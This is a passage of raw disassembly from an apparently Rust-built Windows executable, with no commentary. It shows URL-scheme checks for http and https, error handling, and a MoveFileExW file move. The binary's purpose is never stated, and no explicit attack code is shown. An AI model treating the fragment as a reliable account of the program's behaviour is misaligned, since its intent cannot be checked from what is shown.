mov qword [rax + 0xa8], rcx
mov rcx, qword [rsp + 0x218]
mov qword [rax + 0xb0], rcx
mov qword [rax + 0xb8], rsi
mov rcx, qword [rsp + 0x258]
mov qword [rax + 0xc0], rcx
mov ecx, dword [rsp + 0xcc]
mov dword [rax + 0xc8], ecx
mov rcx, qword [rsp + 0x240]
mov qword [rax + 0xd0], rcx
and qword [rax + 0xd8], 0
jmp 0x421dba
xor eax, eax
mov rcx, qword [rsp + 0x60]
mov qword [rcx + 0x10], r8
mov qword [rcx + 0x18], rdx
mov rdx, qword [rsp + 0xa8]
mov qword [rcx + 0x20], rdx
mov qword [rcx + 0x28], rbx
mov rdx, qword [rsp + 0xc0]
mov qword [rcx + 0x30], rdx
mov qword [rcx + 0x38], r9
mov byte [rcx + 0x40], r14b
mov dl, byte [rsp + 0xb0]
mov byte [rcx + 0x41], dl
mov dword [rcx + 0x42], r15d
shr r15, 0x20
mov byte [rcx + 0x46], r15b
mov dl, byte [rsp + 0x70]
mov byte [rcx + 0x47], dl
mov dl, byte [rsp + 0x68]
mov byte [rcx + 0x48], dl
mov qword [rcx + 0x58], r12
mov qword [rcx + 0x50], rax
lea rcx, [rsp + 0x500]
call fcn.00483d2e
lea rdi, [rsp + 0x370]
mov rcx, rdi
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
call fcn.004276bf
mov rax, qword [rdi + 8]
mov bpl, 3
cmp rax, 0xfffe
jbe 0x421e57
mov ebx, 8
jmp 0x422003
test rax, rax
je 0x421ffe
cmp rax, 1
jne 0x422409
mov rax, qword [rsp + 0x370]
movzx eax, byte [rax]
cmp eax, 0x2a
je 0x42297f
cmp eax, 0x2f
jne 0x4229a4
lea rax, str.__cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.9_src_uri_scheme.rshttpshttp
jmp 0x422986
mov qword [rsp + 0x68], rbx
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x70], rax
mov rcx, rdi
mov rdx, rsi
call fcn.0044a8f3
lea rax, [rsp + 0x260]
and qword [rax], 0
mov qword [rax + 8], 2
and qword [rax + 0x10], 0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x50], rax
xor r14d, r14d
mov ebx, 0xffffffff
xor edi, edi
xor esi, esi
cmp r8, 0x201
jae 0x421f0e
lea r15, [rsp + 0x500]
mov r12d, 0x200
mov rbp, r8
jmp 0x421f60
sub r8, rsi
sub rdi, rsi
cmp rdi, r8
jae 0x421f3e
lea rcx, [rsp + 0x260]
mov rdx, rsi
call fcn.0044f4c0
mov r14, qword [rsp + 0x260]
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x50], rax
cmp r14, rbx
mov esi, 0xffffffff
cmovb rsi, r14
mov qword [rsp + 0x270], rsi
mov rdi, r14
mov r15, qword [rsp + 0x50]
mov r12, rsi
mov rbp, rsi
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [0x004900f8]
mov ecx, ebp
mov rdx, r15
call rax
mov r13d, eax
test eax, eax
jne 0x421f89
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x422760
mov r8d, r13d
cmp rbp, r8
jne 0x421fbb
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x4230ce
add rbp, rbp
mov eax, 0xffffffff
cmp rbp, rax
mov ebx, 0xffffffff
cmovae rbp, rax
mov r8, rbp
jmp 0x421ef2
jb 0x421ef2
cmp r12, r8
jb 0x423224
lea rcx, [rsp + 0xd0]
mov rdx, r15
call fcn.004504c0
mov r15, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xd8]
mov rbp, qword [rsp + 0xe0]
mov bl, byte [rsp + 0xe8]
jmp 0x422772
mov ebx, 9
lea rcx, [rsp + 0x370]
call fcn.004055e8
lea r13, [0x0049afa0]
mov r12d, 0xffff
mov eax, 1
mov qword [rsp + 0x50], rax
xor edi, edi
mov rsi, r13
cmp bpl, 3
je 0x423284
movaps xmm0, xmmword [rsp + 0x500]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd7]
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x20f], rcx
movabs rax, 0x101010101010101
lea r14, [rsp + 0x450]
mov qword [r14 - 8], rax
movdqa xmm6, xmmword [0x00491100]
movdqu xmmword [r14 - 0x18], xmm6
pxor xmm7, xmm7
movdqu xmmword [r14 + 8], xmm7
lea r15, [rsp + 0x3d0]
mov rcx, r15
call fcn.00431593
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [r14], rax
lea rax, [0x0049afa0]
mov qword [r14 + 0x18], rax
mov byte [r14 + 0x20], 0
lea rcx, str.__cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.9_src_uri_scheme.rshttpshttp
mov qword [r14 + 0x30], rcx
mov qword [r14 + 0x38], 1
and qword [r14 + 0x40], 0
mov qword [r14 + 0x48], rax
or word [r14 + 0x50], 0xffff
mov byte [r14 + 0x58], 2
and qword [r15 + 0x60], 0
movdqu xmmword [r14 + 0x60], xmm7
and qword [r15 + 0x108], 0
mov rcx, r14
call fcn.004055a1
mov qword [r14], rbx
movdqa xmm0, xmmword [rsp + 0x90]
movdqu xmmword [r14 + 8], xmm0
mov qword [r14 + 0x18], rsi
mov byte [r14 + 0x20], bpl
mov rax, qword [rsp + 0x208]
mov rcx, qword [rsp + 0x20f]
mov qword [r14 + 0x21], rax
mov qword [r14 + 0x28], rcx
mov rax, qword [rsp + 0x58]
mov qword [r14 + 0x30], rax
mov rax, qword [rsp + 0x50]
mov qword [r14 + 0x38], rax
mov qword [r14 + 0x40], rdi
mov qword [r14 + 0x48], r13
mov qword [r14 + 0x50], r12
lea rdi, [rsp + 0x260]
mov r8d, 0x110
mov rcx, rdi
mov rdx, r15
call sub.ntdll.dll_memcpy
mov sil, byte [rdi + 0x68]
movzx eax, byte [rdi + 0xd8]
lea rcx, [rax - 2]
cmp rcx, 2
mov r13, qword [rsp + 0x80]
jae 0x422259
lea rdi, [rsp + 0x2e0]
lea rdx, [rsp + 0x300]
lea r14, [rsp + 0x520]
mov rcx, r14
call fcn.00416f4e
lea rbx, [rsp + 0x500]
mov rcx, rbx
mov rdx, rdi
call fcn.00416f28
lea rdx, [rsp + 0x310]
lea r15, [rsp + 0x530]
mov rcx, r15
call fcn.0043c134
mov r8, qword [r15 - 0x28]
test r8, r8
cmove rbx, r8
xor edx, edx
cmp byte [r15 - 0x10], 0
cmovne rdx, r14
je 0x4222df
test r8, r8
mov r12, qword [rsp + 0x60]
je 0x422339
lea rcx, [rsp + 0xd0]
call fcn.00416f4e
lea rdi, [rsp + 0xe0]
mov rcx, rdi
mov rdx, rbx
call fcn.00416f28
mov bpl, byte [rdi - 0x10]
mov eax, dword [rdi - 0xf]
mov dword [rsp + 0x88], eax
mov eax, dword [rdi - 0xc]
mov dword [rsp + 0x8b], eax
mov r14, qword [rdi - 8]
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x370], xmm0
movdqu xmm0, xmmword [rdi + 0x10]
movdqa xmmword [rsp + 0x380], xmm0
jmp 0x422346
cmp eax, 1
jne 0x42228f
cmp sil, 7
jne 0x42218a
mov cl, 4
call fcn.0043a812
lea rcx, [rsp + 0x500]
mov qword [rcx], rax
mov qword [rcx + 0x78], 2
call fcn.0040fa63
mov rsi, rax
mov rdi, rdx
jmp 0x4222d0
call fcn.0043a81b
mov rsi, rax
mov ecx, 0xa0
mov edx, 8
call fcn.0043583a
mov rdi, rax
mov qword [rax], rsi
mov qword [rax + 0x78], 2
mov ecx, 8
mov edx, 8
call fcn.0043583a
mov rsi, rax
mov qword [rax], rdi
lea rdi, [0x0049c218]
mov r12, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
jmp 0x42237c
test r8, r8
mov r12, qword [rsp + 0x60]
je 0x422339
cmp sil, 7
jne 0x422339
mov rdx, qword [rbx]
lea r14, [rsp + 0xd0]
mov rcx, r14
call fcn.004343cb
cmp qword [r14], 0
je 0x422901
cmp word [rsp + 0xe0], 0x1bb
jne 0x422901
lea rdx, [0x0049c170]
mov rcx, rdi
call fcn.0043c1a2
movdqa xmmword [rsp + 0x1e0], xmm6
jmp 0x422921
mov cl, 5
call fcn.0043a812
mov r14, rax
mov bpl, 3
mov r15, qword [rsp + 0x78]
lea rcx, [rsp + 0x500]
call fcn.004055a1
cmp bpl, 3
jne 0x42238e
lea rcx, [rsp + 0x500]
mov qword [rcx], r14
mov qword [rcx + 0x78], 2
call fcn.0040fa63
mov rsi, rax
mov rdi, rdx
lea rcx, [rsp + 0x260]
call fcn.00405ff4
jmp 0x4225e0
lea rdx, [r12 + 0x10]
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x8b]
mov dword [rsp + 0xb8], eax
mov dword [rsp + 0xbb], ecx
lea rcx, [rsp + 0x370]
movaps xmm0, xmmword [rcx]
movaps xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1f0], xmm1
movzx edi, word [r12 + 0x60]
movzx esi, byte [r12 + 0x62]
call fcn.00417045
mov rax, qword [r12 + 0x58]
lock inc qword [rax]
jle 0x422405
mov rcx, qword [r12 + 0x50]
mov rbx, r15
test rcx, rcx
je 0x4224f4
lock inc qword [rcx]
jg 0x4224f6
ud2
mov rax, qword [rsp + 0x370]
cmp byte [rax], 0x2f
jne 0x4226e2
mov byte [rsp + 0x3d0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x268], xmm0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rsp + 0x260], rax
lea rax, [0x0049afa0]
mov qword [rsp + 0x278], rax
movups xmm0, xmmword [rsp + 0x370]
movdqu xmm1, xmmword [rsp + 0x380]
lea rdx, [rsp + 0xd0]
movdqa xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
lea rdi, [rsp + 0x500]
mov rcx, rdi
call fcn.00434d1b
mov r13, qword [rdi + 0x18]
movzx r14d, byte [rdi]
test r13, r13
je 0x42323b
lea rax, [rsp + 0x268]
movzx ecx, byte [rsp + 0x507]
shl ecx, 0x10
movzx edx, word [rsp + 0x505]
or edx, ecx
mov ecx, dword [rsp + 0x501]
shl rdx, 0x28
shl rcx, 8
or rcx, rdx
mov rdx, qword [rsp + 0x508]
mov qword [rsp + 0x50], rdx
mov rdi, qword [rsp + 0x510]
mov r12, qword [rsp + 0x520]
mov rbx, qword [rax - 8]
mov rsi, qword [rax + 0x10]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x500], xmm0
or rcx, r14
jmp 0x422a6a
xor ecx, ecx
shl esi, 0x10
or edi, esi
lea rsi, [rsp + 0x370]
mov word [rsi + 0x50], di
shr edi, 0x10
mov byte [rsi + 0x52], dil
mov qword [rsi + 0x48], rax
mov qword [rsi + 0x40], rcx
lea r15, [rsp + 0xd0]
lea rdx, [rsp + 0x260]
mov r8d, 0x110
mov rcx, r15
call sub.ntdll.dll_memcpy
lea rdi, [rsp + 0xb48]
mov ecx, 0xb
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x928
mov edx, 8
call fcn.004075d7
mov rsi, rax
mov byte [rax + 0x140], bpl
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0xbb]
mov dword [rsi + 0x141], eax
mov dword [rsi + 0x144], ecx
mov qword [rsi + 0x148], r14
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqa xmm1, xmmword [rsp + 0x1f0]
movdqu xmmword [rsi + 0x150], xmm0
movdqu xmmword [rsi + 0x160], xmm1
lea rcx, [rsi + 0x170]
mov r8d, 0x110
mov rdx, r15
call sub.ntdll.dll_memcpy
lea rcx, [rsi + 0x280]
lea rdx, [rsp + 0x500]
mov r8d, 0x6a0
call sub.ntdll.dll_memcpy
mov byte [rsi + 0x920], 0
lea rdi, [0x004921f0]
mov r15, rbx
mov qword [r12 + 0x70], rsi
mov qword [r12 + 0x78], rdi
lea r14, [rsp + 0x500]
mov rcx, r14
mov rdx, rsi
mov r8, r15
call qword [rdi + 0x18]
mov rbx, qword [r14 + 0x78]
cmp rbx, 3
jne 0x42260f
mov al, 3
jmp 0x423436
lea rax, [r12 + 0x70]
lea rdx, [rsp + 0x508]
mov r14, qword [rdx - 8]
lea rdi, [rsp + 0xba8]
mov ecx, 0xe
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rdx + 0x78]
movdqu xmm1, xmmword [rdx + 0x88]
movdqa xmmword [rsp + 0x4f0], xmm1
movaps xmmword [rsp + 0x4e0], xmm0
mov rcx, rax
call fcn.00403b24
cmp ebx, 2
jne 0x422677
mov ecx, 8
mov edx, 8
call fcn.004075d7
mov rsi, rax
mov qword [rax], r14
jmp 0x423498
mov qword [r12 + 0x90], r14
lea rdi, [r12 + 0x98]
lea rsi, [rsp + 0xba8]
mov ecx, 0xe
rep movsq qword [rdi], qword [rsi]
mov qword [r12 + 0x108], rbx
movdqa xmm0, xmmword [rsp + 0x4e0]
movdqa xmm1, xmmword [rsp + 0x4f0]
movdqu xmmword [r12 + 0x110], xmm0
movdqu xmmword [r12 + 0x120], xmm1
and qword [r12 + 0x70], 0
mov qword [r12 + 0x78], 1
and qword [r12 + 0x80], 0
jmp 0x42341f
movups xmm0, xmmword [rsp + 0x370]
movdqu xmm1, xmmword [rsp + 0x380]
movdqa xmmword [rsp + 0x3e0], xmm1
movaps xmmword [rsp + 0x3d0], xmm0
mov rdi, qword [rsp + 0x3d0]
mov r14, qword [rsp + 0x3d8]
cmp r14, 6
jbe 0x422a76
lea r9, [0x00499268]
mov r15d, 7
mov r8d, 7
mov rcx, rdi
mov rdx, r14
call fcn.0043133f
lea r8, str.http:__
mov r9d, 7
mov rcx, rax
call fcn.0043acb4
test al, al
je 0x422a8d
xor esi, esi
jmp 0x422acd
call sub.KERNEL32.dll_GetLastError
mov r15d, eax
shl r15, 0x20
or r15, 2
mov bl, 2
test r14, r14
je 0x422786
mov edx, 2
mov rcx, qword [rsp + 0x50]
call fcn.00424380
cmp bl, 2
mov r14, qword [rsp + 0x70]
je 0x4231f3
mov qword [rsp + 0x20], 0x12
lea r9, [0x0049e2ad]
lea rsi, [rsp + 0x3d0]
mov rcx, rsi
mov rbx, rdi
mov rdx, rdi
mov r8, rbp
call fcn.00449b14
mov rax, qword [rsi + 8]
mov qword [rsp + 0x50], rax
mov rdi, qword [rsi + 0x10]
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov rdx, qword [rsp + 0x58]
mov r8, r14
call fcn.0044f020
mov r13, qword [rsi]
mov rax, qword [rsi + 8]
test rax, rax
je 0x422e20
lea rdx, [rsp + 0x500]
mov rcx, qword [rdx + 0x10]
mov qword [rdx], r13
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov r8b, 1
call fcn.0046a2f0
mov r14, qword [rsi]
mov r12, qword [rsi + 8]
test r12, r12
je 0x422a85
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x260], r14
mov qword [rsp + 0x268], r12
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x500]
mov rdx, qword [rsp + 0x50]
mov r8, rdi
call fcn.0044f020
mov r13, qword [rsp + 0x500]
mov rax, qword [rsp + 0x508]
test rax, rax
je 0x422e09
lea rdx, [rsp + 0x500]
mov rcx, qword [rdx + 0x10]
mov qword [rdx], r13
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
lea rcx, [rsp + 0xd0]
mov r8b, 1
call fcn.0046a2f0
mov r13, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xd8]
test rsi, rsi
je 0x422e09
mov rcx, r12
mov rdx, rsi
mov r8d, 1
call sub.KERNEL32.dll_MoveFileExW
test eax, eax
je 0x422ddb
test r13, r13
je 0x4228e5
mov edx, 2
mov rcx, rsi
call fcn.00424380
test r14, r14
je 0x4228f7
mov edx, 2
mov rcx, r12
call fcn.00424380
mov r12, qword [rsp + 0x58]
jmp 0x422ef7
lea rdx, [0x0049c160]
mov rcx, rdi
call fcn.0043c1a2
movdqu xmm0, xmmword [0x0049c160]
movdqa xmmword [rsp + 0x1e0], xmm0
mov r15, qword [rsp + 0x78]
movaps xmm0, xmmword [rsp + 0x1e0]
lea rdi, [rsp + 0xe0]
movaps xmmword [rdi - 0x10], xmm0
mov rcx, rdi
mov rdx, rbx
call fcn.00416f28
mov bpl, byte [rdi - 0x10]
mov eax, dword [rdi - 0xf]
mov dword [rsp + 0x88], eax
mov eax, dword [rdi - 0xc]
mov dword [rsp + 0x8b], eax
mov r14, qword [rdi - 8]
movaps xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x370], xmm0
movdqa xmm0, xmmword [rdi + 0x10]
movdqa xmmword [rsp + 0x380], xmm0
jmp 0x42234b
lea rax, [0x0049da0d]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x500], xmm0
lea rbx, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
xor ebp, ebp
jmp 0x422003
movups xmm0, xmmword [rsp + 0x370]
movdqu xmm1, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0x500], xmm0
movdqa xmmword [rsp + 0x510], xmm1
mov r14, qword [rsp + 0x508]
test r14, r14
je 0x42325a
mov rdi, qword [rsp + 0x500]
lea r15, [rsp + 0xd0]
mov rcx, r15
mov rdx, rdi
mov r8, r14
call fcn.004342dd
cmp byte [r15], 0
jne 0x423267
cmp qword [rsp + 0xd8], r14
jne 0x423271
lea rax, [rsp + 0x508]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x260], xmm0
mov rsi, qword [rax + 0x10]
test rsi, rsi
je 0x423280
mov rax, rdi
and rax, 0xffffffffffffff00
movaps xmm0, xmmword [rsp + 0x260]
movaps xmmword [rsp + 0x500], xmm0
movzx ebx, dil
or rbx, rax
lea r13, [0x0049afa0]
mov r12d, 0xffff
lea rcx, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
xor eax, eax
mov qword [rsp + 0x50], rax
xor edi, edi
mov qword [rsp + 0x58], rcx
xor ebp, ebp
jmp 0x422036
cmp r14, 3
ja 0x422b0a
jmp 0x422c09
mov r13, r14
jmp 0x422e1b
cmp r14, 7
jbe 0x422b0a
lea r9, [0x00499288]
mov r15d, 8
mov r8d, 8
mov rcx, rdi
mov rdx, r14
call fcn.0043133f
lea r8, str.https:__i
mov r9d, 8
mov rcx, rax
call fcn.0043acb4
mov sil, 1
test al, al
je 0x422b0a
lea rdi, [rsp + 0x500]
lea rdx, [rsp + 0x3d0]
mov rcx, rdi
mov r8, r15
call fcn.00427a8a
mov rcx, rdi
call fcn.004055e8
mov byte [rsp + 0x91], sil
mov byte [rsp + 0x90], 1
mov bpl, 1
xor esi, esi
jmp 0x422c16
xor r15d, r15d
lea rax, [0x00499168]
cmp r14, r15
je 0x422c09
movzx ecx, byte [rdi + r15]
movzx ecx, byte [rcx + rax]
test ecx, ecx
je 0x422c09
inc r15
cmp ecx, 0x3a
jne 0x422b14
lea r12, [r15 + 2]
cmp r12, r14
ja 0x422c09
lea rax, [0x004992a8]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r12
mov r8, rdi
mov r9, r14
call fcn.00401b1e
cmp rdx, 2
jne 0x422c09
cmp word [rax], 0x2f2f
jne 0x422c09
dec r15
mov ebx, 0xa
cmp r15, 0x40
ja 0x422c59
lea rdi, [rsp + 0xd0]
lea rdx, [rsp + 0x3d0]
mov rcx, rdi
mov r8, r12
call fcn.00427a8a
lea r14, [rsp + 0x500]
mov rcx, r14
mov rdx, rdi
mov r8, r15
call fcn.0042797b
mov rcx, r14
call fcn.004055e8
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [r14 + 0x10], xmm1
movaps xmmword [r14], xmm0
mov ecx, 0x20
mov edx, 8
call fcn.00484a99
movaps xmm0, xmmword [r14]
movdqa xmm1, xmmword [r14 + 0x10]
movdqu xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x98], rax
mov byte [rsp + 0x90], 2
mov bpl, 2
jmp 0x422b03
mov byte [rsp + 0x90], 0
mov sil, 1
xor ebp, ebp
mov rbx, qword [rsp + 0x3d0]
mov r14, qword [rsp + 0x3d8]
lea r15, [rsp + 0x500]
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.004342dd
cmp byte [r15], 0
je 0x422c6e
mov al, byte [rsp + 0x501]
movzx ebx, al
lea rcx, [rsp + 0x90]
call fcn.00436c2f
lea rcx, [rsp + 0x3d0]
call fcn.004055e8
mov bpl, 3
jmp 0x42202c
mov r8, qword [rsp + 0x508]
test sil, sil
je 0x422ce0
mov al, 4
cmp r8, r14
jne 0x422c49
lea rax, [rsp + 0x3d8]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x500], xmm0
mov rsi, qword [rax + 0x10]
mov rax, qword [rsp + 0x91]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd7], rcx
lea r13, [0x0049afa0]
mov r12d, 0xffff
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rsp + 0x58], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor edi, edi
jmp 0x42202c
test r8, r8
je 0x422dff
lea rcx, [rsp + 0x260]
lea rdi, [rsp + 0x3d0]
mov rdx, rdi
call fcn.00427a8a
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmm0, xmmword [rdi]
movdqa xmm1, xmmword [rdi + 0x10]
lea rdx, [rsp + 0xd0]
movdqa xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
lea rdi, [rsp + 0x500]
mov rcx, rdi
call fcn.00434d1b
mov r13, qword [rdi + 0x18]
movzx r14d, byte [rdi]
test r13, r13
je 0x423065
movzx eax, byte [rsp + 0x507]
shl eax, 0x10
movzx ecx, word [rsp + 0x505]
or ecx, eax
mov edx, dword [rsp + 0x501]
shl rcx, 0x28
shl rdx, 8
or rdx, rcx
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x50], rax
mov rdi, qword [rsp + 0x510]
mov r12, qword [rsp + 0x520]
mov rax, qword [rsp + 0x91]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd7], rcx
mov rbx, qword [rsp + 0x260]
movups xmm0, xmmword [rsp + 0x268]
movaps xmmword [rsp + 0x500], xmm0
mov rsi, qword [rsp + 0x278]
or rdx, r14
mov qword [rsp + 0x58], rdx
jmp 0x42202c
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
test r13, r13
je 0x422e06
mov edx, 2
mov rcx, rsi
mov r13, rax
call fcn.00424380
jmp 0x422e09
mov al, 4
jmp 0x422c49
mov r13, rax
test r14, r14
je 0x422e1b
mov edx, 2
mov rcx, r12
call fcn.00424380
mov r14, qword [rsp + 0x70]
test r13, r13
mov r12, qword [rsp + 0x58]
je 0x422ef7
mov rcx, r13
call fcn.00449fbb
mov rcx, r12
mov rdx, r14
call fcn.0046e6c0
test rax, rax
je 0x422f68
mov r8, rdx
mov qword [rsp + 0x20], 0x13
lea r9, [0x0049e29a]
lea rdi, [rsp + 0x260]
mov rcx, rdi
mov rdx, rax
call fcn.00449b14
mov rsi, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0x500]
mov rcx, rdi
mov rdx, r12
mov r8, r14
mov r9, rsi
call fcn.0047dfc0
cmp qword [rdi], 0
jne 0x422f4b
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
test r14, r14
je 0x422fd9
setns al
js 0x423180
movzx edi, al
mov rcx, r14
mov rdx, rdi
call fcn.004242f0
mov rsi, rax
test rax, rax
jne 0x422fde
mov rcx, r14
mov rdx, rdi
jmp 0x42332f
mov qword [rsp + 0x20], 0x13
lea r9, [0x0049e29a]
lea r14, [rsp + 0x260]
mov rcx, r14
mov rdx, rbx
mov r8, rbp
call fcn.00449b14
mov rsi, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x20], rax
lea r14, [rsp + 0x500]
mov rcx, r14
mov rdx, qword [rsp + 0x50]
mov r8, rdi
mov r9, rsi
call fcn.0047dfc0
cmp qword [r14], 0
je 0x422f84
mov rdi, qword [rsp + 0x508]
mov rcx, qword [rsp + 0x260]
mov rdx, rsi
call fcn.0044a8f3
jmp 0x423018
lea rdx, str.path_has_no_parent
mov r8d, 0x12
mov cl, 0x14
call fcn.004498d9
mov rdi, rax
jmp 0x423018
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
lea rcx, [rsp + 0xd0]
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
movups xmm0, xmmword [rsp + 0x3d0]
movups xmm1, xmmword [rsp + 0x3e0]
lea rdx, [rsp + 0x500]
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
call fcn.0044a00c
mov rdi, rax
test rax, rax
mov rsi, qword [rsp + 0x68]
jne 0x42302f
jmp 0x423061
mov esi, 1
mov rcx, rsi
mov rdx, r12
mov r8, r14
call sub.ntdll.dll_memcpy
lea rdx, [rsp + 0x500]
mov qword [rdx], r14
mov qword [rdx + 8], rsi
mov qword [rdx + 0x10], r14
mov byte [rdx + 0x18], 0
lea rcx, [rsp + 0xd0]
call fcn.0044a00c
mov rdi, rax
test rax, rax
je 0x42304a
mov rsi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x3d0]
mov rdx, qword [rsp + 0x50]
call fcn.0044a8f3
mov rcx, r15
mov rdx, rbx
call fcn.0044a8f3
mov rcx, rsi
mov rdx, r12
call fcn.0044a8f3
jmp 0x420986
mov rcx, qword [rsp + 0x3d0]
mov rdx, qword [rsp + 0x50]
call fcn.0044a8f3
mov rsi, qword [rsp + 0x68]
xor edi, edi
jmp 0x42302f
lea rcx, [rsp + 0x260]
call fcn.004055e8
lea rcx, [rsp + 0x1e0]
call fcn.00436c2f
mov bpl, 3
mov rbx, r14
jmp 0x422c69
mov rax, qword [rsp + 0x508]
lea r8, [rsp + 0x3d0]
mov qword [r8], rax
mov qword [rsp + 0x20], r13
jmp 0x423138
xor edi, edi
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, qword [rsp + 0x58]
mov r8, rdi
mov r9, r15
call fcn.0042c0d0
jmp case.0x42089f.2
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.00428e20
jmp case.0x42089f.2
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.win_src_main.rs
jmp 0x4231a0
lea r8, [rsp + 0x500]
mov qword [r8], rdi
lea rax, str.win_src_main.rs
jmp 0x423133
call fcn.0047a3d0
ud2
mov rax, qword [rsp + 0x500]
lea r8, [rsp + 0xd0]
mov qword [r8], rax
lea rax, str.win_src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x004a6418]
lea r9, fcn.004056d6
mov edx, 0x2b
call fcn.00429a50
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_90c541806f23a127002de5b4038be731ba1458calibrary_std_src_threadmod.rs
lea r8, str.win_src_main.rs
mov edx, 0x2b
jmp 0x4231a5
mov r15, qword [rsp + 0x58]
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x80], rax
jmp 0x4230a9
call fcn.00425e50
ud2
mov rcx, r15
mov rdx, rsi
jmp 0x42332f
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.win_src_main.rs
mov edx, 0x23
call fcn.00428e20
ud2
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.00427458
mov eax, 1
mov qword [rsp + 0x58], rax
lea r8, [rsp + 0x500]
mov rax, qword [rsp + 0x58]
mov dword [r8], eax
mov dword [r8 + 4], r13d
mov qword [r8 + 8], r12
mov qword [rsp + 0x20], rsi
lea rcx, [0x004a6418]
lea r9, [0x00491aa8]
jmp 0x423146
lea r8, [rsp + 0x500]
mov qword [r8], r15
lea rax, str.library_std_src_syswindowsos.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x004a6418]
lea r9, fcn.0046b660
mov edx, 0x2b
call fcn.00429a50
jmp case.0x42089f.2
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r12
mov r8, rax
call fcn.00428a50
ud2
lea rcx, [rsp + 0x260]
call fcn.004055e8
lea rcx, [rsp + 0x3d0]
call fcn.00436c2f
mov rbx, r14
jmp 0x423284
mov byte [rsp + 0xd1], 9
mov dil, 9
jmp 0x423273
mov dil, byte [rsp + 0xd1]
jmp 0x423273
xor edi, edi
lea rcx, [rsp + 0x500]
call fcn.004055e8
movzx ebx, dil
lea r8, [rsp + 0x260]
mov byte [r8], bl
lea rax, str.win_src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x004a6418]
